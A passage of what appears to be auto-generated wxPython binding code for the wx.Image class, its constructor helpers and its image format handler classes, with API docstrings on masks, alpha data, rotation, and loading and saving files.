(success, r, g, b)\n\n Find first colour that is not used in the image and has higher RGB\n values than startR, startG, startB. Returns a tuple consisting of a\n success flag and rgb values.\n \"\"\"\n return _core_.Image_FindFirstUnusedColour(*args, **kwargs)\n\n def ConvertAlphaToMask(*args, **kwargs):\n \"\"\"\n ConvertAlphaToMask(self, byte threshold=IMAGE_ALPHA_THRESHOLD) -> bool\n\n If the image has alpha channel, this method converts it to mask. All\n pixels with alpha value less than ``threshold`` are replaced with the\n mask colour and the alpha channel is removed. The mask colour is\n chosen automatically using `FindFirstUnusedColour`.\n\n If the image image doesn't have alpha channel, ConvertAlphaToMask does\n nothing.\n \"\"\"\n return _core_.Image_ConvertAlphaToMask(*args, **kwargs)\n\n def ConvertColourToAlpha(*args, **kwargs):\n \"\"\"\n ConvertColourToAlpha(self, byte r, byte g, byte b) -> bool\n\n This method converts an image where the original alpha information is\n only available as a shades of a colour (actually shades of grey)\n typically when you draw anti-aliased text into a bitmap. The DC\n drawing routines draw grey values on the black background although\n they actually mean to draw white with differnt alpha values. This\n method reverses it, assuming a black (!) background and white text.\n The method will then fill up the whole image with the colour given.\n \"\"\"\n return _core_.Image_ConvertColourToAlpha(*args, **kwargs)\n\n def SetMaskFromImage(*args, **kwargs):\n \"\"\"\n SetMaskFromImage(self, Image mask, byte mr, byte mg, byte mb) -> bool\n\n Sets the image's mask so that the pixels that have RGB value of\n ``(mr,mg,mb)`` in ``mask`` will be masked in this image. This is done\n by first finding an unused colour in the image, setting this colour as\n the mask colour and then using this colour to draw all pixels in the\n image who corresponding pixel in mask has given RGB value.\n\n Returns ``False`` if ``mask`` does not have same dimensions as the\n image or if there is no unused colour left. Returns ``True`` if the\n mask was successfully applied.\n\n Note that this method involves computing the histogram, which is\n computationally intensive operation.\n \"\"\"\n return _core_.Image_SetMaskFromImage(*args, **kwargs)\n\n def CanRead(*args, **kwargs):\n \"\"\"\n CanRead(String filename) -> bool\n\n Returns True if the image handlers can read this file.\n \"\"\"\n return _core_.Image_CanRead(*args, **kwargs)\n\n CanRead = staticmethod(CanRead)\n def GetImageCount(*args, **kwargs):\n \"\"\"\n GetImageCount(String filename, long type=BITMAP_TYPE_ANY) -> int\n\n If the image file contains more than one image and the image handler\n is capable of retrieving these individually, this function will return\n the number of available images.\n \"\"\"\n return _core_.Image_GetImageCount(*args, **kwargs)\n\n GetImageCount = staticmethod(GetImageCount)\n def LoadFile(*args, **kwargs):\n \"\"\"\n LoadFile(self, String name, long type=BITMAP_TYPE_ANY, int index=-1) -> bool\n\n Loads an image from a file. If no handler type is provided, the\n library will try to autodetect the format.\n \"\"\"\n return _core_.Image_LoadFile(*args, **kwargs)\n\n def LoadMimeFile(*args, **kwargs):\n \"\"\"\n LoadMimeFile(self, String name, String mimetype, int index=-1) -> bool\n\n Loads an image from a file, specifying the image type with a MIME type\n string.\n \"\"\"\n return _core_.Image_LoadMimeFile(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"\n SaveFile(self, String name, int type) -> bool\n\n Saves an image in the named file.\n \"\"\"\n return _core_.Image_SaveFile(*args, **kwargs)\n\n def SaveMimeFile(*args, **kwargs):\n \"\"\"\n SaveMimeFile(self, String name, String mimetype) -> bool\n\n Saves an image in the named file.\n \"\"\"\n return _core_.Image_SaveMimeFile(*args, **kwargs)\n\n def SaveStream(*args, **kwargs):\n \"\"\"\n SaveStream(self, wxOutputStream stream, int type) -> bool\n\n Saves an image in the named file.\n \"\"\"\n return _core_.Image_SaveStream(*args, **kwargs)\n\n def SaveMimeStream(*args, **kwargs):\n \"\"\"\n SaveMimeStream(self, wxOutputStream stream, String mimetype) -> bool\n\n Saves an image in the named file.\n \"\"\"\n return _core_.Image_SaveMimeStream(*args, **kwargs)\n\n def CanReadStream(*args, **kwargs):\n \"\"\"\n CanReadStream(InputStream stream) -> bool\n\n Returns True if the image handlers can read an image file from the\n data currently on the input stream, or a readable Python file-like\n object.\n \"\"\"\n return _core_.Image_CanReadStream(*args, **kwargs)\n\n CanReadStream = staticmethod(CanReadStream)\n def LoadStream(*args, **kwargs):\n \"\"\"\n LoadStream(self, InputStream stream, long type=BITMAP_TYPE_ANY, int index=-1) -> bool\n\n Loads an image from an input stream or a readable Python file-like\n object. If no handler type is provided, the library will try to\n autodetect the format.\n \"\"\"\n return _core_.Image_LoadStream(*args, **kwargs)\n\n def LoadMimeStream(*args, **kwargs):\n \"\"\"\n LoadMimeStream(self, InputStream stream, String mimetype, int index=-1) -> bool\n\n Loads an image from an input stream or a readable Python file-like\n object, using a MIME type string to specify the image file format.\n \"\"\"\n return _core_.Image_LoadMimeStream(*args, **kwargs)\n\n def IsOk(*args, **kwargs):\n \"\"\"\n IsOk(self) -> bool\n\n Returns true if image data is present.\n \"\"\"\n return _core_.Image_IsOk(*args, **kwargs)\n\n Ok = IsOk \n def GetWidth(*args, **kwargs):\n \"\"\"\n GetWidth(self) -> int\n\n Gets the width of the image in pixels.\n \"\"\"\n return _core_.Image_GetWidth(*args, **kwargs)\n\n def GetHeight(*args, **kwargs):\n \"\"\"\n GetHeight(self) -> int\n\n Gets the height of the image in pixels.\n \"\"\"\n return _core_.Image_GetHeight(*args, **kwargs)\n\n def GetSize(*args, **kwargs):\n \"\"\"\n GetSize(self) -> Size\n\n Returns the size of the image in pixels.\n \"\"\"\n return _core_.Image_GetSize(*args, **kwargs)\n\n def GetSubImage(*args, **kwargs):\n \"\"\"\n GetSubImage(self, Rect rect) -> Image\n\n Returns a sub image of the current one as long as the rect belongs\n entirely to the image.\n \"\"\"\n return _core_.Image_GetSubImage(*args, **kwargs)\n\n def Size(*args, **kwargs):\n \"\"\"\n Size(self, Size size, Point pos, int r=-1, int g=-1, int b=-1) -> Image\n\n Returns a resized version of this image without scaling it by adding\n either a border with the given colour or cropping as necessary. The\n image is pasted into a new image with the given size and background\n colour at the position ``pos`` relative to the upper left of the new\n image. If red = green = blue = -1 then use either the current mask\n colour if set or find, use, and set a suitable mask colour for any\n newly exposed areas.\n \"\"\"\n return _core_.Image_Size(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"\n Copy(self) -> Image\n\n Returns an identical copy of the image.\n \"\"\"\n return _core_.Image_Copy(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"\n Paste(self, Image image, int x, int y)\n\n Pastes ``image`` into this instance and takes care of the mask colour\n and any out of bounds problems.\n \"\"\"\n return _core_.Image_Paste(*args, **kwargs)\n\n def GetData(*args, **kwargs):\n \"\"\"\n GetData(self) -> PyObject\n\n Returns a string containing a copy of the RGB bytes of the image.\n \"\"\"\n return _core_.Image_GetData(*args, **kwargs)\n\n def SetData(*args, **kwargs):\n \"\"\"\n SetData(self, buffer data)\n\n Resets the Image's RGB data from a buffer of RGB bytes. Accepts\n either a string or a buffer object holding the data and the length of\n the data must be width*height*3.\n \"\"\"\n return _core_.Image_SetData(*args, **kwargs)\n\n def GetDataBuffer(*args, **kwargs):\n \"\"\"\n GetDataBuffer(self) -> PyObject\n\n Returns a writable Python buffer object that is pointing at the RGB\n image data buffer inside the wx.Image. You need to ensure that you do\n not use this buffer object after the image has been destroyed.\n \"\"\"\n return _core_.Image_GetDataBuffer(*args, **kwargs)\n\n def SetDataBuffer(*args, **kwargs):\n \"\"\"\n SetDataBuffer(self, buffer data)\n\n Sets the internal image data pointer to point at a Python buffer\n object. This can save making an extra copy of the data but you must\n ensure that the buffer object lives longer than the wx.Image does.\n \"\"\"\n return _core_.Image_SetDataBuffer(*args, **kwargs)\n\n def GetAlphaData(*args, **kwargs):\n \"\"\"\n GetAlphaData(self) -> PyObject\n\n Returns a string containing a copy of the alpha bytes of the image.\n \"\"\"\n return _core_.Image_GetAlphaData(*args, **kwargs)\n\n def SetAlphaData(*args, **kwargs):\n \"\"\"\n SetAlphaData(self, buffer alpha)\n\n Resets the Image's alpha data from a buffer of bytes. Accepts either\n a string or a buffer object holding the data and the length of the\n data must be width*height.\n \"\"\"\n return _core_.Image_SetAlphaData(*args, **kwargs)\n\n def GetAlphaBuffer(*args, **kwargs):\n \"\"\"\n GetAlphaBuffer(self) -> PyObject\n\n Returns a writable Python buffer object that is pointing at the Alpha\n data buffer inside the wx.Image. You need to ensure that you do not\n use this buffer object after the image has been destroyed.\n \"\"\"\n return _core_.Image_GetAlphaBuffer(*args, **kwargs)\n\n def SetAlphaBuffer(*args, **kwargs):\n \"\"\"\n SetAlphaBuffer(self, buffer alpha)\n\n Sets the internal image alpha pointer to point at a Python buffer\n object. This can save making an extra copy of the data but you must\n ensure that the buffer object lives as long as the wx.Image does.\n \"\"\"\n return _core_.Image_SetAlphaBuffer(*args, **kwargs)\n\n def SetMaskColour(*args, **kwargs):\n \"\"\"\n SetMaskColour(self, byte r, byte g, byte b)\n\n Sets the mask colour for this image (and tells the image to use the\n mask).\n \"\"\"\n return _core_.Image_SetMaskColour(*args, **kwargs)\n\n def GetOrFindMaskColour(*args, **kwargs):\n \"\"\"\n GetOrFindMaskColour() -> (r,g,b)\n\n Get the current mask colour or find a suitable colour.\n \"\"\"\n return _core_.Image_GetOrFindMaskColour(*args, **kwargs)\n\n def GetMaskRed(*args, **kwargs):\n \"\"\"\n GetMaskRed(self) -> byte\n\n Gets the red component of the mask colour.\n \"\"\"\n return _core_.Image_GetMaskRed(*args, **kwargs)\n\n def GetMaskGreen(*args, **kwargs):\n \"\"\"\n GetMaskGreen(self) -> byte\n\n Gets the green component of the mask colour.\n \"\"\"\n return _core_.Image_GetMaskGreen(*args, **kwargs)\n\n def GetMaskBlue(*args, **kwargs):\n \"\"\"\n GetMaskBlue(self) -> byte\n\n Gets the blue component of the mask colour.\n \"\"\"\n return _core_.Image_GetMaskBlue(*args, **kwargs)\n\n def SetMask(*args, **kwargs):\n \"\"\"\n SetMask(self, bool mask=True)\n\n Specifies whether there is a mask or not. The area of the mask is\n determined by the current mask colour.\n \"\"\"\n return _core_.Image_SetMask(*args, **kwargs)\n\n def HasMask(*args, **kwargs):\n \"\"\"\n HasMask(self) -> bool\n\n Returns ``True`` if there is a mask active, ``False`` otherwise.\n \"\"\"\n return _core_.Image_HasMask(*args, **kwargs)\n\n def Rotate(*args, **kwargs):\n \"\"\"\n Rotate(self, double angle, Point centre_of_rotation, bool interpolating=True, \n Point offset_after_rotation=None) -> Image\n\n Rotates the image about the given point, by ``angle`` radians. Passing\n ``True`` to ``interpolating`` results in better image quality, but is\n slower. If the image has a mask, then the mask colour is used for the\n uncovered pixels in the rotated image background. Otherwise, black\n will be used as the fill colour.\n\n Returns the rotated image, leaving this image intact.\n \"\"\"\n return _core_.Image_Rotate(*args, **kwargs)\n\n def Rotate90(*args, **kwargs):\n \"\"\"\n Rotate90(self, bool clockwise=True) -> Image\n\n Returns a copy of the image rotated 90 degrees in the direction\n indicated by ``clockwise``.\n \"\"\"\n return _core_.Image_Rotate90(*args, **kwargs)\n\n def Mirror(*args, **kwargs):\n \"\"\"\n Mirror(self, bool horizontally=True) -> Image\n\n Returns a mirrored copy of the image. The parameter ``horizontally``\n indicates the orientation.\n \"\"\"\n return _core_.Image_Mirror(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"\n Replace(self, byte r1, byte g1, byte b1, byte r2, byte g2, byte b2)\n\n Replaces the colour specified by ``(r1,g1,b1)`` by the colour\n ``(r2,g2,b2)``.\n \"\"\"\n return _core_.Image_Replace(*args, **kwargs)\n\n def ConvertToGreyscale(*args, **kwargs):\n \"\"\"\n ConvertToGreyscale(self, double lr=0.299, double lg=0.587, double lb=0.114) -> Image\n\n Convert to greyscale image. Uses the luminance component (Y) of the\n image. The luma value (YUV) is calculated using (R * lr) + (G * lg) + (B * lb),\n defaults to ITU-T BT.601\n \"\"\"\n return _core_.Image_ConvertToGreyscale(*args, **kwargs)\n\n def ConvertToMono(*args, **kwargs):\n \"\"\"\n ConvertToMono(self, byte r, byte g, byte b) -> Image\n\n Returns monochromatic version of the image. The returned image has\n white colour where the original has ``(r,g,b)`` colour and black\n colour everywhere else.\n \"\"\"\n return _core_.Image_ConvertToMono(*args, **kwargs)\n\n def SetOption(*args, **kwargs):\n \"\"\"\n SetOption(self, String name, String value)\n\n Sets an image handler defined option. For example, when saving as a\n JPEG file, the option ``wx.IMAGE_OPTION_QUALITY`` is used, which is a\n number between 0 and 100 (0 is terrible, 100 is very good).\n \"\"\"\n return _core_.Image_SetOption(*args, **kwargs)\n\n def SetOptionInt(*args, **kwargs):\n \"\"\"\n SetOptionInt(self, String name, int value)\n\n Sets an image option as an integer.\n \"\"\"\n return _core_.Image_SetOptionInt(*args, **kwargs)\n\n def GetOption(*args, **kwargs):\n \"\"\"\n GetOption(self, String name) -> String\n\n Gets the value of an image handler option.\n \"\"\"\n return _core_.Image_GetOption(*args, **kwargs)\n\n def GetOptionInt(*args, **kwargs):\n \"\"\"\n GetOptionInt(self, String name) -> int\n\n Gets the value of an image handler option as an integer. If the given\n option is not present, the function returns 0.\n \"\"\"\n return _core_.Image_GetOptionInt(*args, **kwargs)\n\n def HasOption(*args, **kwargs):\n \"\"\"\n HasOption(self, String name) -> bool\n\n Returns true if the given option is present.\n \"\"\"\n return _core_.Image_HasOption(*args, **kwargs)\n\n def CountColours(*args, **kwargs):\n \"\"\"CountColours(self, unsigned long stopafter=(unsigned long) -1) -> unsigned long\"\"\"\n return _core_.Image_CountColours(*args, **kwargs)\n\n def ComputeHistogram(*args, **kwargs):\n \"\"\"ComputeHistogram(self, ImageHistogram h) -> unsigned long\"\"\"\n return _core_.Image_ComputeHistogram(*args, **kwargs)\n\n def AddHandler(*args, **kwargs):\n \"\"\"AddHandler(ImageHandler handler)\"\"\"\n return _core_.Image_AddHandler(*args, **kwargs)\n\n AddHandler = staticmethod(AddHandler)\n def InsertHandler(*args, **kwargs):\n \"\"\"InsertHandler(ImageHandler handler)\"\"\"\n return _core_.Image_InsertHandler(*args, **kwargs)\n\n InsertHandler = staticmethod(InsertHandler)\n def RemoveHandler(*args, **kwargs):\n \"\"\"RemoveHandler(String name) -> bool\"\"\"\n return _core_.Image_RemoveHandler(*args, **kwargs)\n\n RemoveHandler = staticmethod(RemoveHandler)\n def GetHandlers(*args, **kwargs):\n \"\"\"GetHandlers() -> PyObject\"\"\"\n return _core_.Image_GetHandlers(*args, **kwargs)\n\n GetHandlers = staticmethod(GetHandlers)\n def GetImageExtWildcard(*args, **kwargs):\n \"\"\"\n GetImageExtWildcard() -> String\n\n Iterates all registered wxImageHandler objects, and returns a string\n containing file extension masks suitable for passing to file open/save\n dialog boxes.\n \"\"\"\n return _core_.Image_GetImageExtWildcard(*args, **kwargs)\n\n GetImageExtWildcard = staticmethod(GetImageExtWildcard)\n def ConvertToBitmap(*args, **kwargs):\n \"\"\"ConvertToBitmap(self, int depth=-1) -> Bitmap\"\"\"\n return _core_.Image_ConvertToBitmap(*args, **kwargs)\n\n def ConvertToMonoBitmap(*args, **kwargs):\n \"\"\"ConvertToMonoBitmap(self, byte red, byte green, byte blue) -> Bitmap\"\"\"\n return _core_.Image_ConvertToMonoBitmap(*args, **kwargs)\n\n def RotateHue(*args, **kwargs):\n \"\"\"\n RotateHue(self, double angle)\n\n Rotates the hue of each pixel of the image. Hue is a double in the\n range -1.0..1.0 where -1.0 is -360 degrees and 1.0 is 360 degrees\n \"\"\"\n return _core_.Image_RotateHue(*args, **kwargs)\n\n def RGBtoHSV(*args, **kwargs):\n \"\"\"\n RGBtoHSV(Image_RGBValue rgb) -> Image_HSVValue\n\n Converts a color in RGB color space to HSV color space.\n \"\"\"\n return _core_.Image_RGBtoHSV(*args, **kwargs)\n\n RGBtoHSV = staticmethod(RGBtoHSV)\n def HSVtoRGB(*args, **kwargs):\n \"\"\"\n HSVtoRGB(Image_HSVValue hsv) -> Image_RGBValue\n\n Converts a color in HSV color space to RGB color space.\n \"\"\"\n return _core_.Image_HSVtoRGB(*args, **kwargs)\n\n HSVtoRGB = staticmethod(HSVtoRGB)\n def __nonzero__(self): return self.IsOk() \n def AdjustChannels(*args, **kwargs):\n \"\"\"\n AdjustChannels(self, double factor_red, double factor_green, double factor_blue, \n double factor_alpha=1.0) -> Image\n\n This function muliplies all 4 channels (red, green, blue, alpha) with\n a factor (around 1.0). Useful for gamma correction, colour correction\n and to add a certain amount of transparency to a image (fade in fade\n out effects). If factor_alpha is given but the original image has no\n alpha channel then a alpha channel will be added.\n \"\"\"\n return _core_.Image_AdjustChannels(*args, **kwargs)\n\n AlphaBuffer = property(GetAlphaBuffer,SetAlphaBuffer,doc=\"See `GetAlphaBuffer` and `SetAlphaBuffer`\") \n AlphaData = property(GetAlphaData,SetAlphaData,doc=\"See `GetAlphaData` and `SetAlphaData`\") \n Data = property(GetData,SetData,doc=\"See `GetData` and `SetData`\") \n DataBuffer = property(GetDataBuffer,SetDataBuffer,doc=\"See `GetDataBuffer` and `SetDataBuffer`\") \n Height = property(GetHeight,doc=\"See `GetHeight`\") \n MaskBlue = property(GetMaskBlue,doc=\"See `GetMaskBlue`\") \n MaskGreen = property(GetMaskGreen,doc=\"See `GetMaskGreen`\") \n MaskRed = property(GetMaskRed,doc=\"See `GetMaskRed`\") \n Width = property(GetWidth,doc=\"See `GetWidth`\") \n_core_.Image_swigregister(Image)\n\ndef ImageFromMime(*args, **kwargs):\n \"\"\"\n ImageFromMime(String name, String mimetype, int index=-1) -> Image\n\n Loads an image from a file, using a MIME type string (such as\n 'image/jpeg') to specify image type.\n \"\"\"\n val = _core_.new_ImageFromMime(*args, **kwargs)\n return val\n\ndef ImageFromStream(*args, **kwargs):\n \"\"\"\n ImageFromStream(InputStream stream, long type=BITMAP_TYPE_ANY, int index=-1) -> Image\n\n Loads an image from an input stream, or any readable Python file-like\n object.\n \"\"\"\n val = _core_.new_ImageFromStream(*args, **kwargs)\n return val\n\ndef ImageFromStreamMime(*args, **kwargs):\n \"\"\"\n ImageFromStreamMime(InputStream stream, String mimetype, int index=-1) -> Image\n\n Loads an image from an input stream, or any readable Python file-like\n object, specifying the image format with a MIME type string.\n \"\"\"\n val = _core_.new_ImageFromStreamMime(*args, **kwargs)\n return val\n\ndef EmptyImage(*args, **kwargs):\n \"\"\"\n EmptyImage(int width=0, int height=0, bool clear=True) -> Image\n\n Construct an empty image of a given size, optionally setting all\n pixels to black.\n \"\"\"\n val = _core_.new_EmptyImage(*args, **kwargs)\n return val\n\ndef ImageFromBitmap(*args, **kwargs):\n \"\"\"\n ImageFromBitmap(Bitmap bitmap) -> Image\n\n Construct an Image from a `wx.Bitmap`.\n \"\"\"\n val = _core_.new_ImageFromBitmap(*args, **kwargs)\n return val\n\ndef ImageFromData(*args, **kwargs):\n \"\"\"\n ImageFromData(int width, int height, buffer data) -> Image\n\n Construct an Image from a buffer of RGB bytes. Accepts either a\n string or a buffer object holding the data and the length of the data\n must be width*height*3.\n \"\"\"\n val = _core_.new_ImageFromData(*args, **kwargs)\n return val\n\ndef ImageFromDataWithAlpha(*args, **kwargs):\n \"\"\"\n ImageFromDataWithAlpha(int width, int height, buffer data, buffer alpha) -> Image\n\n Construct an Image from a buffer of RGB bytes with an Alpha channel.\n Accepts either a string or a buffer object holding the data and the\n length of the data must be width*height*3 bytes, and the length of the\n alpha data must be width*height bytes.\n \"\"\"\n val = _core_.new_ImageFromDataWithAlpha(*args, **kwargs)\n return val\n\ndef Image_CanRead(*args, **kwargs):\n \"\"\"\n Image_CanRead(String filename) -> bool\n\n Returns True if the image handlers can read this file.\n \"\"\"\n return _core_.Image_CanRead(*args, **kwargs)\n\ndef Image_GetImageCount(*args, **kwargs):\n \"\"\"\n Image_GetImageCount(String filename, long type=BITMAP_TYPE_ANY) -> int\n\n If the image file contains more than one image and the image handler\n is capable of retrieving these individually, this function will return\n the number of available images.\n \"\"\"\n return _core_.Image_GetImageCount(*args, **kwargs)\n\ndef Image_CanReadStream(*args, **kwargs):\n \"\"\"\n Image_CanReadStream(InputStream stream) -> bool\n\n Returns True if the image handlers can read an image file from the\n data currently on the input stream, or a readable Python file-like\n object.\n \"\"\"\n return _core_.Image_CanReadStream(*args, **kwargs)\n\ndef Image_AddHandler(*args, **kwargs):\n \"\"\"Image_AddHandler(ImageHandler handler)\"\"\"\n return _core_.Image_AddHandler(*args, **kwargs)\n\ndef Image_InsertHandler(*args, **kwargs):\n \"\"\"Image_InsertHandler(ImageHandler handler)\"\"\"\n return _core_.Image_InsertHandler(*args, **kwargs)\n\ndef Image_RemoveHandler(*args, **kwargs):\n \"\"\"Image_RemoveHandler(String name) -> bool\"\"\"\n return _core_.Image_RemoveHandler(*args, **kwargs)\n\ndef Image_GetHandlers(*args):\n \"\"\"Image_GetHandlers() -> PyObject\"\"\"\n return _core_.Image_GetHandlers(*args)\n\ndef Image_GetImageExtWildcard(*args):\n \"\"\"\n Image_GetImageExtWildcard() -> String\n\n Iterates all registered wxImageHandler objects, and returns a string\n containing file extension masks suitable for passing to file open/save\n dialog boxes.\n \"\"\"\n return _core_.Image_GetImageExtWildcard(*args)\n\ndef Image_RGBtoHSV(*args, **kwargs):\n \"\"\"\n Image_RGBtoHSV(Image_RGBValue rgb) -> Image_HSVValue\n\n Converts a color in RGB color space to HSV color space.\n \"\"\"\n return _core_.Image_RGBtoHSV(*args, **kwargs)\n\ndef Image_HSVtoRGB(*args, **kwargs):\n \"\"\"\n Image_HSVtoRGB(Image_HSVValue hsv) -> Image_RGBValue\n\n Converts a color in HSV color space to RGB color space.\n \"\"\"\n return _core_.Image_HSVtoRGB(*args, **kwargs)\n\n\ndef _ImageFromBuffer(*args, **kwargs):\n \"\"\"_ImageFromBuffer(int width, int height, buffer data, buffer alpha=None) -> Image\"\"\"\n return _core_._ImageFromBuffer(*args, **kwargs)\ndef ImageFromBuffer(width, height, dataBuffer, alphaBuffer=None):\n \"\"\"\n Creates a `wx.Image` from the data in dataBuffer. The dataBuffer\n parameter must be a Python object that implements the buffer interface,\n such as a string, array, etc. The dataBuffer object is expected to\n contain a series of RGB bytes and be width*height*3 bytes long. A buffer\n object can optionally be supplied for the image's alpha channel data, and\n it is expected to be width*height bytes long.\n\n The wx.Image will be created with its data and alpha pointers initialized\n to the memory address pointed to by the buffer objects, thus saving the\n time needed to copy the image data from the buffer object to the wx.Image.\n While this has advantages, it also has the shoot-yourself-in-the-foot\n risks associated with sharing a C pointer between two objects.\n\n To help alleviate the risk a reference to the data and alpha buffer\n objects are kept with the wx.Image, so that they won't get deleted until\n after the wx.Image is deleted. However please be aware that it is not\n guaranteed that an object won't move its memory buffer to a new location\n when it needs to resize its contents. If that happens then the wx.Image\n will end up referring to an invalid memory location and could cause the\n application to crash. Therefore care should be taken to not manipulate\n the objects used for the data and alpha buffers in a way that would cause\n them to change size.\n \"\"\"\n image = _core_._ImageFromBuffer(width, height, dataBuffer, alphaBuffer)\n image._buffer = dataBuffer\n image._alpha = alphaBuffer\n return image\n\ndef InitAllImageHandlers():\n \"\"\"\n The former functionality of InitAllImageHanders is now done internal to\n the _core_ extension module and so this function has become a simple NOP.\n \"\"\"\n pass\n\nIMAGE_RESOLUTION_INCHES = _core_.IMAGE_RESOLUTION_INCHES\nIMAGE_RESOLUTION_CM = _core_.IMAGE_RESOLUTION_CM\nPNG_TYPE_COLOUR = _core_.PNG_TYPE_COLOUR\nPNG_TYPE_GREY = _core_.PNG_TYPE_GREY\nPNG_TYPE_GREY_RED = _core_.PNG_TYPE_GREY_RED\nBMP_24BPP = _core_.BMP_24BPP\nBMP_8BPP = _core_.BMP_8BPP\nBMP_8BPP_GREY = _core_.BMP_8BPP_GREY\nBMP_8BPP_GRAY = _core_.BMP_8BPP_GRAY\nBMP_8BPP_RED = _core_.BMP_8BPP_RED\nBMP_8BPP_PALETTE = _core_.BMP_8BPP_PALETTE\nBMP_4BPP = _core_.BMP_4BPP\nBMP_1BPP = _core_.BMP_1BPP\nBMP_1BPP_BW = _core_.BMP_1BPP_BW\nclass BMPHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for \\*.bmp bitmap files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> BMPHandler\n\n A `wx.ImageHandler` for \\*.bmp bitmap files.\n \"\"\"\n _core_.BMPHandler_swiginit(self,_core_.new_BMPHandler(*args, **kwargs))\n_core_.BMPHandler_swigregister(BMPHandler)\nNullImage = cvar.NullImage\nIMAGE_OPTION_FILENAME = cvar.IMAGE_OPTION_FILENAME\nIMAGE_OPTION_BMP_FORMAT = cvar.IMAGE_OPTION_BMP_FORMAT\nIMAGE_OPTION_CUR_HOTSPOT_X = cvar.IMAGE_OPTION_CUR_HOTSPOT_X\nIMAGE_OPTION_CUR_HOTSPOT_Y = cvar.IMAGE_OPTION_CUR_HOTSPOT_Y\nIMAGE_OPTION_RESOLUTION = cvar.IMAGE_OPTION_RESOLUTION\nIMAGE_OPTION_RESOLUTIONX = cvar.IMAGE_OPTION_RESOLUTIONX\nIMAGE_OPTION_RESOLUTIONY = cvar.IMAGE_OPTION_RESOLUTIONY\nIMAGE_OPTION_RESOLUTIONUNIT = cvar.IMAGE_OPTION_RESOLUTIONUNIT\nIMAGE_OPTION_QUALITY = cvar.IMAGE_OPTION_QUALITY\nIMAGE_OPTION_BITSPERSAMPLE = cvar.IMAGE_OPTION_BITSPERSAMPLE\nIMAGE_OPTION_SAMPLESPERPIXEL = cvar.IMAGE_OPTION_SAMPLESPERPIXEL\nIMAGE_OPTION_COMPRESSION = cvar.IMAGE_OPTION_COMPRESSION\nIMAGE_OPTION_IMAGEDESCRIPTOR = cvar.IMAGE_OPTION_IMAGEDESCRIPTOR\nIMAGE_OPTION_PNG_FORMAT = cvar.IMAGE_OPTION_PNG_FORMAT\nIMAGE_OPTION_PNG_BITDEPTH = cvar.IMAGE_OPTION_PNG_BITDEPTH\n\nclass ICOHandler(BMPHandler):\n \"\"\"A `wx.ImageHandler` for \\*.ico icon files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> ICOHandler\n\n A `wx.ImageHandler` for \\*.ico icon files.\n \"\"\"\n _core_.ICOHandler_swiginit(self,_core_.new_ICOHandler(*args, **kwargs))\n_core_.ICOHandler_swigregister(ICOHandler)\n\nclass CURHandler(ICOHandler):\n \"\"\"A `wx.ImageHandler` for \\*.cur cursor files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> CURHandler\n\n A `wx.ImageHandler` for \\*.cur cursor files.\n \"\"\"\n _core_.CURHandler_swiginit(self,_core_.new_CURHandler(*args, **kwargs))\n_core_.CURHandler_swigregister(CURHandler)\n\nclass ANIHandler(CURHandler):\n \"\"\"A `wx.ImageHandler` for \\*.ani animated cursor files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> ANIHandler\n\n A `wx.ImageHandler` for \\*.ani animated cursor files.\n \"\"\"\n _core_.ANIHandler_swiginit(self,_core_.new_ANIHandler(*args, **kwargs))\n_core_.ANIHandler_swigregister(ANIHandler)\n\nclass PNGHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for PNG image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PNGHandler\n\n A `wx.ImageHandler` for PNG image files.\n \"\"\"\n _core_.PNGHandler_swiginit(self,_core_.new_PNGHandler(*args, **kwargs))\n_core_.PNGHandler_swigregister(PNGHandler)\n\nclass GIFHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for GIF image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> GIFHandler\n\n A `wx.ImageHandler` for GIF image files.\n \"\"\"\n _core_.GIFHandler_swiginit(self,_core_.new_GIFHandler(*args, **kwargs))\n_core_.GIFHandler_swigregister(GIFHandler)\n\nclass PCXHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for PCX imager files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PCXHandler\n\n A `wx.ImageHandler` for PCX imager files.\n \"\"\"\n _core_.PCXHandler_swiginit(self,_core_.new_PCXHandler(*args, **kwargs))\n_core_.PCXHandler_swigregister(PCXHandler)\n\nclass JPEGHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for JPEG/JPG image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> JPEGHandler\n\n A `wx.ImageHandler` for JPEG/JPG image files.\n \"\"\"\n _core_.JPEGHandler_swiginit(self,_core_.new_JPEGHandler(*args, **kwargs))\n_core_.JPEGHandler_swigregister(JPEGHandler)\n\nclass PNMHandler(ImageHandler):\n \"\"\"A `wx.ImageHandler` for PNM image files.\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self) -> PNMHandler\n\n 